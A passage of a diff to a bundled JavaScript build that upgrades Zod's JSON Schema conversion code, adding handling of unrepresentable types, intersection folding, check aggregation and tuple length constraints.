params?.target ?? "draft-2020-12"; if (target === "draft-4") @@ -100241,12 +104448,25 @@ function initializeContext(params) { io: params?.io ?? "output", counter: 0, seen: /* @__PURE__ */ new Map(), + sharedDefsExtractedFor: void 0, + sharedEmitDoneFor: void 0, cycles: params?.cycles ?? "ref", reused: params?.reused ?? "inline", + intersections: [], + deferred: [], external: params?.external ?? void 0 }; } -function process2(schema, ctx, _params = { path: [], schemaPath: [] }) { +function handleUnrepresentable(schema, ctx, json3, params, message2) { + const result2 = typeof ctx.unrepresentable === "function" ? ctx.unrepresentable({ zodSchema: schema, path: params.path, message: message2 }) : ctx.unrepresentable; + if (result2 === "any") + return false; + if (result2 === void 0 || result2 === "throw") + throw new Error(message2); + Object.assign(json3, result2); + return true; +} +function processSchema(schema, ctx, _params = { path: [], schemaPath: [] }) { var _a3; const def = schema._zod.def; const seen = ctx.seen.get(schema); @@ -100260,6 +104480,8 @@ function process2(schema, ctx, _params = { path: [], schemaPath: [] }) { } const result2 = { schema: {}, count: 1, cycle: void 0, path: _params.path }; ctx.seen.set(schema, result2); + ctx.sharedDefsExtractedFor = void 0; + ctx.sharedEmitDoneFor = void 0; const overrideSchema = schema._zod.toJSONSchema?.(); if (overrideSchema) { result2.schema = overrideSchema; @@ -100283,13 +104505,13 @@ function process2(schema, ctx, _params = { path: [], schemaPath: [] }) { if (parent) { if (!result2.ref) result2.ref = parent; - process2(parent, ctx, params); + processSchema(parent, ctx, params); ctx.seen.get(parent).isParent = true; } } const meta3 = ctx.metadataRegistry.get(schema); if (meta3) - Object.assign(result2.schema, meta3); + assignProps(result2.schema, meta3); if (ctx.io === "input" && isTransforming(schema)) { delete result2.schema.examples; delete result2.schema.default; @@ -100300,10 +104522,15 @@ function process2(schema, ctx, _params = { path: [], schemaPath: [] }) { const _result = ctx.seen.get(schema); return _result.schema; } +function encodeJSONPointerSegment(segment) { + return segment.replace(/~/g, "~0").replace(/\//g, "~1"); +} function extractDefs(ctx, schema) { const root2 = ctx.seen.get(schema); if (!root2) throw new Error("Unprocessed schema. This is a bug in Zod."); + if (ctx.external && ctx.sharedDefsExtractedFor === ctx.external) + return; const idToSchema = /* @__PURE__ */ new Map(); for (const entry of ctx.seen.entries()) { const id = ctx.metadataRegistry.get(entry[0])?.id; @@ -100325,15 +104552,15 @@ function extractDefs(ctx, schema) { } const id = entry[1].defId ?? entry[1].schema.id ?? `schema${ctx.counter++}`; entry[1].defId = id; - return { defId: id, ref: `${uriGenerator("__shared")}#/${defsSegment}/${id}` }; - } - if (entry[1] === root2) { - return { ref: "#" }; + return { defId: id, ref: `${uriGenerator("__shared")}#/${defsSegment}/${encodeJSONPointerSegment(id)}` }; } const uriPrefix = `#`; const defUriPrefix = `${uriPrefix}/${defsSegment}/`; + if (entry[1] === root2 && !entry[1].schema.id) { + return { ref: uriPrefix }; + } const defId = entry[1].schema.id ?? `__schema${ctx.counter++}`; - return { defId, ref: defUriPrefix + defId }; + return { defId, ref: defUriPrefix + encodeJSONPointerSegment(defId) }; }; const extractToDef = (entry) => { if (entry[1].schema.$ref) { @@ -100385,10 +104612,119 @@ Set the \`cycles\` parameter to \`"ref"\` to resolve cyclical schemas with defs. if (seen.count > 1) { if (ctx.reused === "ref") { extractToDef(entry); + } + } + } + if (ctx.external) + ctx.sharedDefsExtractedFor = ctx.external; +} +function compactTypeUnion(schema) { + const options = schema.anyOf; + if (!Array.isArray(options) || options.length === 0 || schema.type !== void 0) + return; + const types2 = []; + for (const option of options) { + if (!option || typeof option !== "object") + return; + compactTypeUnion(option); + const keys2 = Object.keys(option); + if (keys2.length !== 1 || keys2[0] !== "type") + return; + const type = option.type; + for (const member of Array.isArray(type) ? type : [type]) { + if (typeof member !== "string") + return; + if (!types2.includes(member)) + types2.push(member); + } + } + delete schema.anyOf; + schema.type = types2.length === 1 ? types2[0] : types2; +} +var FOLDABLE_KEYS = /* @__PURE__ */ new Set(["type", "properties", "required", "additionalProperties"]); +var UNION_KEYS = ["oneOf", "anyOf"]; +function undeclaredConstraint(member) { + const extra = member.additionalProperties; + if (extra === void 0 || extra === false || typeof extra !== "object" || extra === null) + return null; + return Object.keys(extra).length ? extra : null; +} +function foldObjects(members2) { + const objects = []; + for (const member of members2) { + if (typeof member !== "object" || member.type !== "object") + return null; + for (const key in member) { + if (!FOLDABLE_KEYS.has(key)) + return null; + } + objects.push(member); + } + const properties = {}; + const required2 = /* @__PURE__ */ new Set(); + for (const object3 of objects) { + for (const key in object3.properties) { + if (Object.prototype.hasOwnProperty.call(properties, key)) continue; + const parts = []; + for (const other of objects) { + const part = other.properties?.[key] ?? undeclaredConstraint(other); + if (part === null || part === void 0) + continue; + if (!parts.some((seen) => JSON.stringify(seen) === JSON.stringify(part))) + parts.push(part); } + const merged = parts.length === 1 ? parts[0] : foldObjects(parts) ?? { allOf: parts }; + assignProp(properties, key, merged); } + for (const key of object3.required ?? []) + required2.add(key); } + const folded = { type: "object", properties }; + if (required2.size) + folded.required = [...required2]; + if (objects.every((object3) => object3.additionalProperties === false)) { + folded.additionalProperties = false; + } else { + const constraints = []; + for (const object3 of objects) { + const constraint = undeclaredConstraint(object3); + if (constraint && !constraints.some((seen) => JSON.stringify(seen) === JSON.stringify(constraint))) + constraints.push(constraint); + } + if (constraints.length === 1) + folded.additionalProperties = constraints[0]; + else if (constraints.length > 1) + folded.additionalProperties = { allOf: constraints }; + } + return folded; +} +function foldIntersection(json3) { + const allOf = json3.allOf; + if (!Array.isArray(allOf) || allOf.length < 2) + return; + for (const key of FOLDABLE_KEYS) + if (key in json3) + return; + const unions = allOf.filter((m) => UNION_KEYS.some((k) => Array.isArray(m[k]))); + let folded = null; + if (!unions.length) { + folded = foldObjects(allOf); + } else { + const union3 = unions[0]; + const keyword = UNION_KEYS.find((k) => Array.isArray(union3[k])); + if (Object.keys(union3).length !== 1) + return; + const rest2 = allOf.filter((m) => m !== union3); + const branches = union3[keyword].map((branch) => foldObjects([...rest2, branch])); + if (branches.some((b2) => !b2)) + return; + folded = { [keyword]: branches }; + } + if (!folded) + return; + delete json3.allOf; + assignProps(json3, folded); } function finalize(ctx, schema) { const root2 = ctx.seen.get(schema); @@ -100410,9 +104746,9 @@ function finalize(ctx, schema) { schema2.allOf = schema2.allOf ?? []; schema2.allOf.push(refSchema); } else { - Object.assign(schema2, refSchema); + assignProps(schema2, refSchema); } - Object.assign(schema2, _cached); + assignProps(schema2, _cached); const isParentRef = zodSchema._zod.parent === ref; if (isParentRef) { for (const key in schema2) { @@ -100456,8 +104792,36 @@ function finalize(ctx, schema) { path: seen.path ?? [] }); }; - for (const entry of [...ctx.seen.entries()].reverse()) { - flattenRef(entry[0]); + if (!ctx.external || ctx.sharedEmitDoneFor !== ctx.external) { + for (const entry of [...ctx.seen.entries()].reverse()) { + flattenRef(entry[0]); + } + if (ctx.target !== "openapi-3.0") { + for (const entry of ctx.seen.entries()) { + compactTypeUnion(entry[1].def ?? entry[1].schema); + } + } + for (const rewrite of ctx.deferred) + rewrite(); + if (ctx.intersections.length) { + const carriers = /* @__PURE__ */ new Map(); + for (const seen of ctx.seen.values()) { + for (const json3 of [seen.schema, seen.def]) { + const allOf = json3?.allOf; + if (!Array.isArray(allOf)) + continue; + const existing = carriers.get(allOf); + if (existing) + existing.push(json3); + else + carriers.set(allOf, [json3]); + } + } + for (const allOf of ctx.intersections) { + for (const json3 of carriers.get(allOf) ?? []) + foldIntersection(json3); + } + } } const result2 = {}; if (ctx.target === "draft-2020-12") { @@ -100475,19 +104839,23 @@ function finalize(ctx, schema) { throw new Error("Schema is missing an `id` property"); result2.$id = ctx.external.uri(id); } - Object.assign(result2, root2.def ?? root2.schema); + assignProps(result2, root2.defId ? root2.schema : root2.def ?? root2.schema); const rootMetaId = ctx.metadataRegistry.get(schema)?.id; if (rootMetaId !== void 0 && result2.id === rootMetaId) delete result2.id; const defs = ctx.external?.defs ?? {}; - for (const entry of ctx.seen.entries()) { - const seen = entry[1]; - if (seen.def && seen.defId) { - if (seen.def.id === seen.defId) - delete seen.def.id; - defs[seen.defId] = seen.def; + if (!ctx.external || ctx.sharedEmitDoneFor !== ctx.external) { + for (const entry of ctx.seen.entries()) { + const seen = entry[1]; + if (seen.def && seen.defId) { + if (seen.def.id === seen.defId) + delete seen.def.id; + assignProp(defs, seen.defId, seen.def); + } } } + if (ctx.external) + ctx.sharedEmitDoneFor = ctx.external; if (ctx.external) { } else { if (Object.keys(defs).length > 0) { @@ -100530,7 +104898,7 @@ function isTransforming(_schema, _ctx) { return isTransforming(def.valueType, ctx); if (def.type === "lazy") return isTransforming(def.getter(), ctx); - if (def.type === "promise" || def.type === "optional" || def.type === "nonoptional" || def.type === "nullable" || def.type === "readonly" || def.type === "default" || def.type === "prefault") { + if (def.type === "promise" || def.type === "optional" || def.type === "nonoptional" || def.type === "nullable" || def.type === "readonly" || def.type === "default" || def.type === "prefault" || def.type === "catch") { return isTransforming(def.innerType, ctx); } if (def.type === "intersection") { @@ -100571,19 +104939,107 @@ function isTransforming(_schema, _ctx) { } var createToJSONSchemaMethod = (schema, processors = {}) => (params) => { const ctx = initializeContext({ ...params, processors }); - process2(schema, ctx); + processSchema(schema, ctx); extractDefs(ctx, schema); return finalize(ctx, schema); }; var createStandardJSONSchemaMethod = (schema, io, processors = {}) => (params) => { const { libraryOptions, target } = params ?? {}; const ctx = initializeContext({ ...libraryOptions ?? {}, target, io, processors }); - process2(schema, ctx); + processSchema(schema, ctx); extractDefs(ctx, schema); return finalize(ctx, schema); }; -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/json-schema-processors.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/core/json-schema-processors.js +var narrowMin = (agg, key, value) => { + if (agg[key] === void 0 || value > agg[key]) + agg[key] = value; +}; +var narrowMax = (agg, key, value) => { + if (agg[key] === void 0 || value < agg[key]) + agg[key] = value; +}; +var narrowBoth = (agg, value) => { + narrowMin(agg, "minimum", value); + narrowMax(agg, "maximum", value); +}; +var addDivisor = (agg, value) => { + agg.multipleOf ?? (agg.multipleOf = []); + if (!agg.multipleOf.includes(value)) + agg.multipleOf.push(value); +}; +var addPattern = (agg, pattern) => { + agg.patterns ?? (agg.patterns = /* @__PURE__ */ new Set()); + agg.patterns.add(pattern); +}; +var intersectMime = (agg, mime) => { + agg.mime = agg.mime ? agg.mime.filter((m) => mime.includes(m)) : [...mime]; +}; +var setFormat = (agg, format) => { + agg.format = format; + if (format.includes("int")) + agg.isInt = true; +}; +var minContributor = (agg, def) => narrowMin(agg, "minimum", def.minimum); +var maxContributor = (agg, def) => narrowMax(agg, "maximum", def.maximum); +var formatContributor = (ranges) => (agg, def) => { + setFormat(agg, def.format); + const [minimum, maximum] = ranges[def.format]; + narrowMin(agg, "minimum", minimum); + narrowMax(agg, "maximum", maximum); +}; +var contributors = { + greater_than: (agg, def) => narrowMin(agg, def.inclusive ? "minimum" : "exclusiveMinimum", def.value), + less_than: (agg, def) => narrowMax(agg, def.inclusive ? "maximum" : "exclusiveMaximum", def.value), + multiple_of: (agg, def) => addDivisor(agg, def.value), + number_format: formatContributor(NUMBER_FORMAT_RANGES), + bigint_format: formatContributor(BIGINT_FORMAT_RANGES), + min_length: minContributor, + max_length: maxContributor, + length_equals: (agg, def) => narrowBoth(agg, def.length), + min_size: minContributor, + max_size: maxContributor, + size_equals: (agg, def) => narrowBoth(agg, def.size), + string_format: (agg, def) => { + setFormat(agg, def.format); + if (def.pattern) + addPattern(agg, def.pattern); + if (def.format === "base64" || def.format === "base64url") + agg.contentEncoding = def.format; + if (def.local || def.precision === -1) + agg.laxFormat = true; + }, + mime_type: (agg, def) => intersectMime(agg, def.mime) +}; +function aggregateChecks(schema) { + const agg = {}; + const def = schema._zod.def; + const list = schema._zod.traits.has("$ZodCheck") ? [schema, ...def.checks ?? []] : def.checks ?? []; + for (const ch of list) + contributors[ch._zod.def.check]?.(agg, ch._zod.def); + const bag = schema._zod.bag; + if (bag.minimum !== void 0) + narrowMin(agg, "minimum", bag.minimum); + if (bag.exclusiveMinimum !== void 0) + narrowMin(agg, "exclusiveMinimum", bag.exclusiveMinimum); + if (bag.maximum !== void 0) + narrowMax(agg, "maximum", bag.maximum); + if (bag.exclusiveMaximum !== void 0) + narrowMax(agg, "exclusiveMaximum", bag.exclusiveMaximum); + if (bag.multipleOf !== void 0) + addDivisor(agg, bag.multipleOf); + if (bag.format !== void 0) { + agg.format ?? (agg.format = bag.format); + if (bag.format.includes("int")) + agg.isInt = true; + } + if (bag.mime) + intersectMime(agg, bag.mime); + for (const pattern of bag.patterns ?? []) + addPattern(agg, pattern); + return agg; +} var formatMap = { guid: "uuid", url: "uri", @@ -100592,10 +105048,15 @@ var formatMap = { regex: "" // do not set }; +var exactPatterns = /* @__PURE__ */ new Map([ + [base64Charset, base64], + [base64urlCharset, base64url] +]); +var exactPattern = (p) => exactPatterns.get(p) ?? p; var stringProcessor = (schema, ctx, _json, _params) => { const json3 = _json; json3.type = "string"; - const { minimum, maximum, format, patterns, contentEncoding } = schema._zod.bag; + const { minimum, maximum, format, patterns, contentEncoding, laxFormat } = aggregateChecks(schema); if (typeof minimum === "number") json3.minLength = minimum; if (typeof maximum === "number") @@ -100604,19 +105065,19 @@ var stringProcessor = (schema, ctx, _json, _params) => { json3.format = formatMap[format] ?? format; if (json3.format === "") delete json3.format; - if (format === "time") { + if (format === "time" || laxFormat) { delete json3.format; } } if (contentEncoding) json3.contentEncoding = contentEncoding; if (patterns && patterns.size > 0) { - const regexes = [...patterns]; - if (regexes.length === 1) - json3.pattern = regexes[0].source; - else if (regexes.length > 1) { + const patternList = [...patterns].map(exactPattern); + if (patternList.length === 1) + json3.pattern = patternList[0].source; + else if (patternList.length > 1) { json3.allOf = [ - ...regexes.map((regex) => ({ + ...patternList.map((regex) => ({ ...ctx.target === "draft-07" || ctx.target === "draft-04" || ctx.target === "openapi-3.0" ? { type: "string" } : {}, pattern: regex.source })) @@ -100624,13 +105085,10 @@ var stringProcessor = (schema, ctx, _json, _params) => { } } }; -var numberProcessor = (schema, ctx, _json, _params) => { +var numberProcessor = (schema, ctx, _json, params) => { const json3 = _json; - const { minimum, maximum, format, multipleOf, exclusiveMaximum, exclusiveMinimum } = schema._zod.bag; - if (typeof format === "string" && format.includes("int")) - json3.type = "integer"; - else - json3.type = "number"; + const { minimum, maximum, multipleOf, exclusiveMaximum, exclusiveMinimum, isInt } = aggregateChecks(schema); + json3.type = isInt ? "integer" : "number"; const exMin = typeof exclusiveMinimum === "number" && exclusiveMinimum >= (minimum ?? Number.NEGATIVE_INFINITY); const exMax = typeof exclusiveMaximum === "number" && exclusiveMaximum <= (maximum ?? Number.POSITIVE_INFINITY); const legacy = ctx.target === "draft-04" || ctx.target === "openapi-3.0"; @@ -100654,21 +105112,29 @@ var numberProcessor = (schema, ctx, _json, _params) => { } else if (typeof maximum === "number") { json3.maximum = maximum; } - if (typeof multipleOf === "number") - json3.multipleOf = multipleOf; + if (multipleOf) { + const divisors = /* @__PURE__ */ new Set(); + for (const divisor of multipleOf) { + if (Number.isFinite(divisor) && divisor !== 0) + divisors.add(Math.abs(divisor)); + else + handleUnrepresentable(schema, ctx, json3, params, `A multipleOf divisor of ${divisor} cannot be represented in JSON Schema`); + } + const [first2, ...rest2] = divisors; + if (first2 !== void 0) + json3.multipleOf = first2; + if (rest2.length) + json3.allOf = [...json3.allOf ?? [], ...rest2.map((m) => ({ multipleOf: m }))]; + } }; var booleanProcessor = (_schema, _ctx, json3, _params) => { json3.type = "boolean"; }; -var bigintProcessor = (_schema, ctx, _json, _params) => { - if (ctx.unrepresentable === "throw") { - throw new Error("BigInt cannot be represented in JSON Schema"); - } +var bigintProcessor = (schema, ctx, json3, params) => { + handleUnrepresentable(schema, ctx, json3, params, "BigInt cannot be represented in JSON Schema"); }; -var symbolProcessor = (_schema, ctx, _json, _params) => { - if (ctx.unrepresentable === "throw") { - throw new Error("Symbols cannot be represented in JSON Schema"); - } +var symbolProcessor = (schema, ctx, json3, params) => { + handleUnrepresentable(schema, ctx, json3, params, "Symbols cannot be represented in JSON Schema"); }; var nullProcessor = (_schema, ctx, json3, _params) => { if (ctx.target === "openapi-3.0") { @@ -100679,15 +105145,11 @@ var nullProcessor = (_schema, ctx, json3, _params) => { json3.type = "null"; } }; -var undefinedProcessor = (_schema, ctx, _json, _params) => { - if (ctx.unrepresentable === "throw") { - throw new Error("Undefined cannot be represented in JSON Schema"); - } +var undefinedProcessor = (schema, ctx, json3, params) => { + handleUnrepresentable(schema, ctx, json3, params, "Undefined cannot be represented in JSON Schema"); }; -var voidProcessor = (_schema, ctx, _json, _params) => { - if (ctx.unrepresentable === "throw") { - throw new Error("Void cannot be represented in JSON Schema"); - } +var voidProcessor = (schema, ctx, json3, params) => { + handleUnrepresentable(schema, ctx, json3, params, "Void cannot be represented in JSON Schema"); }; var neverProcessor = (_schema, _ctx, json3, _params) => { json3.not = {}; @@ -100696,35 +105158,37 @@ var anyProcessor = (_schema, _ctx, _json, _params) => { }; var unknownProcessor = (_schema, _ctx, _json, _params) => { }; -var dateProcessor = (_schema, ctx, _json, _params) => { - if (ctx.unrepresentable === "throw") { - throw new Error("Date cannot be represented in JSON Schema"); - } +var dateProcessor = (schema, ctx, json3, params) => { + handleUnrepresentable(schema, ctx, json3, params, "Date cannot be represented in JSON Schema"); }; var enumProcessor = (schema, _ctx, json3, _params) => { const def = schema._zod.def; const values3 = getEnumValues(def.entries); + if (values3.length === 0) { + json3.not = {}; + return; + } if (values3.every((v) => typeof v === "number")) json3.type = "number"; if (values3.every((v) => typeof v === "string")) json3.type = "string"; json3.enum = values3; }; -var literalProcessor = (schema, ctx, json3, _params) => { +var literalProcessor = (schema, ctx, json3, params) => { const def = schema._zod.def; + if (def.values.length === 0) { + json3.not = {}; + return; + } const vals = []; for (const val of def.values) { if (val === void 0) { - if (ctx.unrepresentable === "throw") { - throw new Error("Literal `undefined` cannot be represented in JSON Schema"); - } else { - } + if (handleUnrepresentable(schema, ctx, json3, params, "Literal `undefined` cannot be represented in JSON Schema")) + return; } else if (typeof val === "bigint") { - if (ctx.unrepresentable === "throw") { - throw new Error("BigInt literals cannot be represented in JSON Schema"); - } else { - vals.push(Number(val)); - } + if (handleUnrepresentable(schema, ctx, json3, params, "BigInt literals cannot be represented in JSON Schema")) + return; + vals.push(Number(val)); } else { vals.push(val); } @@ -100750,10 +105214,8 @@ var literalProcessor = (schema, ctx, json3, _params) => { json3.enum = vals; } }; -var nanProcessor = (_schema, ctx, _json, _params) => { - if (ctx.unrepresentable === "throw") { - throw new Error("NaN cannot be represented in JSON Schema"); - } +var nanProcessor = (schema, ctx, json3, params) => { + handleUnrepresentable(schema, ctx, json3, params, "NaN cannot be represented in JSON Schema"); }; var templateLiteralProcessor = (schema, _ctx, json3, _params) => { const _json = json3; @@ -100765,93 +105227,90 @@ var templateLiteralProcessor = (schema, _ctx, json3, _params) => { }; var fileProcessor = (schema, _ctx, json3, _params) => { const _json = json3; - const file2 = { - type: "string", - format: "binary", - contentEncoding: "binary" - }; - const { minimum, maximum, mime } = schema._zod.bag; + _json.type = "string"; + _json.format = "binary"; + _json.contentEncoding = "binary"; + const { minimum, maximum, mime } = aggregateChecks(schema); if (minimum !== void 0) - file2.minLength = minimum; + _json.minLength = minimum; if (maximum !== void 0) - file2.maxLength = maximum; - if (mime) { - if (mime.length === 1) { - file2.contentMediaType = mime[0]; - Object.assign(_json, file2); - } else { - Object.assign(_json, file2); - _json.anyOf = mime.map((m) => ({ contentMediaType: m })); - } - } else { - Object.assign(_json, file2); - } + _json.maxLength = maximum; + if (!mime) + return; + if (mime.length === 0) + _json.not = {}; + else if (mime.length === 1) + _json.contentMediaType = mime[0]; + else + _json.anyOf = mime.map((m) => ({ contentMediaType: m })); }; var successProcessor = (_schema, _ctx, json3, _params) => { json3.type = "boolean"; }; -var customProcessor = (_schema, ctx, _json, _params) => { - if (ctx.unrepresentable === "throw") { - throw new Error("Custom types cannot be represented in JSON Schema"); - } +var customProcessor = (schema, ctx, json3, params) => { + handleUnrepresentable(schema, ctx, json3, params, "Custom types cannot be represented in JSON Schema"); }; -var functionProcessor = (_schema, ctx, _json, _params) => { - if (ctx.unrepresentable === "throw") { - throw new Error("Function types cannot be represented in JSON Schema"); - } +var functionProcessor = (schema, ctx, json3, params) => { + handleUnrepresentable(schema, ctx, json3, params, "Function types cannot be represented in JSON Schema"); }; -var transformProcessor = (_schema, ctx, _json, _params) => { - if (ctx.unrepresentable === "throw") { - throw new Error("Transforms cannot be represented in JSON Schema"); - } +var transformProcessor = (schema, ctx, json3, params) => { + handleUnrepresentable(schema, ctx, json3, params, "Transforms cannot be represented in JSON Schema"); }; -var mapProcessor = (_schema, ctx, _json, _params) => { - if (ctx.unrepresentable === "throw") { - throw new Error("Map cannot be represented in JSON Schema"); - } +var mapProcessor = (schema, ctx, json3, params) => { + handleUnrepresentable(schema, ctx, json3, params, "Map cannot be represented in JSON Schema"); }; -var setProcessor = (_schema, ctx, _json, _params) => { - if (ctx.unrepresentable === "throw") { - throw new Error("Set cannot be represented in JSON Schema"); - } +var setProcessor = (schema, ctx, json3, params) => { + handleUnrepresentable(schema, ctx, json3, params, "Set cannot be represented in JSON Schema"); }; var arrayProcessor = (schema, ctx, _json, params) => { const json3 = _json; const def = schema._zod.def; - const { minimum, maximum } = schema._zod.bag; + const { minimum, maximum } = aggregateChecks(schema); if (typeof minimum === "number") json3.minItems = minimum; if (typeof maximum === "number") json3.maxItems = maximum; json3.type = "array"; - json3.items = process2(def.element, ctx, { + json3.items = processSchema(def.element, ctx, { ...params, path: [...params.path, "items"] }); }; +function inputOptin(schema) { + const def = schema._zod.def; + if (def.type === "pipe" && def.in._zod.traits.has("$ZodTransform")) { + return inputOptin(def.out); + } + if (def.type === "catch") { + return inputOptin(def.innerType); + } + return schema._zod.optin; +} var objectProcessor = (schema, ctx, _json, params) => { const json3 = _json; const def = schema._zod.def; + const shape = def.shape; + const symbolKeys = Object.getOwnPropertySymbols(shape); + if (symbolKeys.length && handleUnrepresentable(schema, ctx, json3, params, "Symbol keys cannot be represented in JSON Schema")) { + return; + } json3.type = "object"; json3.properties = {}; - const shape = def.shape; for (const key in shape) { - json3.properties[key] = process2(shape[key], ctx, { + assignProp(json3.properties, key, processSchema(shape[key], ctx, { ...params, path: [...params.path, "properties", key] - }); + })); } - const allKeys2 = new Set(Object.keys(shape)); - const requiredKeys = new Set([...allKeys2].filter((key) => { - const v = def.shape[key]._zod; - if (ctx.io === "input") { - return v.optin === void 0; - } else { - return v.optout === void 0; + const requiredKeys = []; + for (const key of Object.keys(shape)) { + const field = def.shape[key]; + if (ctx.io === "input" ? inputOptin(field) === void 0 : field._zod.optout === void 0) { + requiredKeys.push(key); } - })); - if (requiredKeys.size > 0) { - json3.required = Array.from(requiredKeys); + } + if (requiredKeys.length > 0) { + json3.required = requiredKeys; } if (def.catchall?._zod.def.type === "never") { json3.additionalProperties = false; @@ -100859,7 +105318,7 @@ var objectProcessor = (schema, ctx, _json, params) => { if (ctx.io === "output") json3.additionalProperties = false; } else if (def.catchall) { - json3.additionalProperties = process2(def.catchall, ctx, { + json3.additionalProperties = processSchema(def.catchall, ctx, { ...params, path: [...params.path, "additionalProperties"] }); @@ -100868,7 +105327,7 @@ var objectProcessor = (schema, ctx, _json, params) => { var unionProcessor = (schema, ctx, json3, params) => { const def = schema._zod.def; const isExclusive = def.inclusive === false; - const options = def.options.map((x, i) => process2(x, ctx, { + const options = def.options.map((x, i) => processSchema(x, ctx, { ...params, path: [...params.path, isExclusive ? "oneOf" : "anyOf", i] })); @@ -100880,11 +105339,11 @@ var unionProcessor = (schema, ctx, json3, params) => { }; var intersectionProcessor = (schema, ctx, json3, params) => { const def = schema._zod.def; - const a = process2(def.left, ctx, { + const a = processSchema(def.left, ctx, { ...params, path: [...params.path, "allOf", 0] }); - const b2 = process2(def.right, ctx, { + const b2 = processSchema(def.right, ctx, { ...params, path: [...params.path, "allOf", 1] }); @@ -100894,6 +105353,7 @@ var intersectionProcessor = (schema, ctx, json3, params) => { ...isSimpleIntersection(b2) ? b2.allOf : [b2] ]; json3.allOf = allOf; + ctx.intersections.push(allOf); }; var tupleProcessor = (schema, ctx, _json, params) => { const json3 = _json; @@ -100901,19 +105361,35 @@ var tupleProcessor = (schema, ctx, _json, params) => { json3.type = "array"; const prefixPath = ctx.target === "draft-2020-12" ? "prefixItems" : "items"; const restPath = ctx.target === "draft-2020-12" ? "items" : ctx.target === "openapi-3.0" ? "items" : "additionalItems"; - const prefixItems = def.items.map((x, i) => process2(x, ctx, { + const prefixItems = def.items.map((x, i) => processSchema(x, ctx, { ...params, path: [...params.path, prefixPath, i] })); - const rest2 = def.rest ? process2(def.rest, ctx, { + const rest2 = def.rest ? processSchema(def.rest, ctx, { ...params, path: [...params.path, restPath, ...ctx.target === "openapi-3.0" ? [def.items.length] : []] }) : null; + let minItems = def.items.length; + while (minItems > 0) { + const item = def.items[minItems - 1]; + const optional2 = ctx.io === "input" ? inputOptin(item) !== void 0 : item._zod.optout === "optional"; + if (!optional2) + break; + minItems--; + } + const maxItems = def.items.length; + const isClosed = !def.rest; if (ctx.target === "draft-2020-12") { json3.prefixItems = prefixItems; - if (rest2) { + if (isClosed) { + json3.items = false; + } else if (rest2) { json3.items = rest2; } + if (minItems > 0) + json3.minItems = minItems; + if (isClosed) + json3.maxItems = maxItems; } else if (ctx.target === "openapi-3.0") { json3.items = { anyOf: prefixItems @@ -100921,61 +105397,137 @@ var tupleProcessor = (schema, ctx, _json, params) => { if (rest2) { json3.items.anyOf.push(rest2); } - json3.minItems = prefixItems.length; - if (!rest2) { - json3.maxItems = prefixItems.length; - } + if (minItems > 0) + json3.minItems = minItems; + if (isClosed) + json3.maxItems = maxItems; } else { json3.items = prefixItems; - if (rest2) { + if (isClosed) { + json3.additionalItems = false; + } else if (rest2) { json3.additionalItems = rest2; } + if (minItems > 0) + json3.minItems = minItems; + if (isClosed) + json3.maxItems = maxItems; } - const { minimum, maximum } = schema._zod.bag; + const { minimum, maximum } = aggregateChecks(schema); if (typeof minimum === "number") json3.minItems = minimum; if (typeof maximum === "number") json3.maxItems = maximum; }; +function stringifyKeyNames(bySchema, json3, visited) { + if (json3.$ref) { + if (visited.has(json3)) + return json3; + visited.add(json3); + const def = bySchema.get(json3)?.def; + if (!def) + return json3; + const inlined = stringifyKeyNames(bySchema, def, visited); + return inlined === def ? json3 : inlined; + } + for (const keyword of ["anyOf", "oneOf"]) { + const branches = json3[keyword]; + if (!Array.isArray(branches)) + continue; + const mapped = branches.map((branch) => stringifyKeyNames(bySchema, branch, visited)); + if (mapped.some((branch, i) => branch !== branches[i])) + json3 = { ...json3, [keyword]: mapped }; + } + const types2 = Array.isArray(json3.type) ? json3.type : [json3.type]; + const numericType = !types2.includes("string") && types2.some((t) => t === "number" || t === "integer"); + const values3 = json3.enum ?? (json3.const !== void 0 ? [json3.const] : void 0); + if (!numericType && !values3?.some((v) => typeof v === "number")) + return json3; + const { minimum, maximum, exclusiveMinimum, exclusiveMaximum, multipleOf, format, id, ...rest2 } = json3; + if (rest2.enum) + rest2.enum = rest2.enum.map((v) => typeof v === "number" ? String(v) : v); + else if (typeof rest2.const === "number") + rest2.const = String(rest2.const); + if (!numericType) + return rest2; + rest2.type = "string"; + if (!values3) + rest2.pattern = (types2.includes("number") ? number : integer).source; + return rest2; +} +var pendingRecords = /* @__PURE__ */ new WeakMap(); +function rewriteKeyNames(ctx) { + const bySchema = /* @__PURE__ */ new Map(); + for (const entry of ctx.seen.values()) { + if (entry.def && !bySchema.has(entry.schema)) + bySchema.set(entry.schema, entry); + } + const rewrites = /* @__PURE__ */ new Map(); + for (const record2 of pendingRecords.get(ctx) ?? []) { + const seen = ctx.seen.get(record2); + const names = (seen?.def ?? seen?.schema)?.propertyNames; + if (!names || names === true || rewrites.has(names)) + continue; + const rewritten = stringifyKeyNames(bySchema, names, /* @__PURE__ */ new Set()); + if (rewritten !== names) + rewrites.set(names, rewritten); + } + if (!rewrites.size) + return; + for (const entry of ctx.seen.values()) { + for (const carrier of [entry.schema, entry.def]) { + const rewritten = carrier && rewrites.get(carrier.propertyNames); + if (rewritten) + carrier.propertyNames = rewritten; + } + } +} var recordProcessor = (schema, ctx, _json, params) => { const json3 = _json; const def = schema._zod.def; json3.type = "object"; const keyType = def.keyType; - const keyBag = keyType._zod.bag; - const patterns = keyBag?.patterns; + const patterns = aggregateChecks(keyType).patterns; if (def.mode === "loose" && patterns && patterns.size > 0) { - const valueSchema = process2(def.valueType, ctx, { + const valueSchema = processSchema(def.valueType, ctx, { ...params, path: [...params.path, "patternProperties", "*"] }); json3.patternProperties = {}; for (const pattern of patterns) { - json3.patternProperties[pattern.source] = valueSchema; + assignProp(json3.patternProperties, exactPattern(pattern).source, valueSchema); } } else { if (ctx.target === "draft-07" || ctx.target === "draft-2020-12") { - json3.propertyNames = process2(def.keyType, ctx, { + json3.propertyNames = processSchema(def.keyType, ctx, { ...params, path: [...params.path, "propertyNames"] }); + let pending = pendingRecords.get(ctx); + if (!pending) { + pending = []; + pendingRecords.set(ctx, pending); + ctx.deferred.push(() => rewriteKeyNames(ctx)); + } + pending.push(schema); } - json3.additionalProperties = process2(def.valueType, ctx, { + json3.additionalProperties = processSchema(def.valueType, ctx, { ...params, path: [...params.path, "additionalProperties"] }); } const keyValues = keyType._zod.values; - if (keyValues) { + const omittableOnInput = ctx.io === "input" && inputOptin(def.valueType) !== void 0; + if (keyValues && !def.partial && !omittableOnInput) { const validKeyValues = [...keyValues].filter((v) => typeof v === "string" || typeof v === "number"); if (validKeyValues.length > 0) { - json3.required = validKeyValues; + 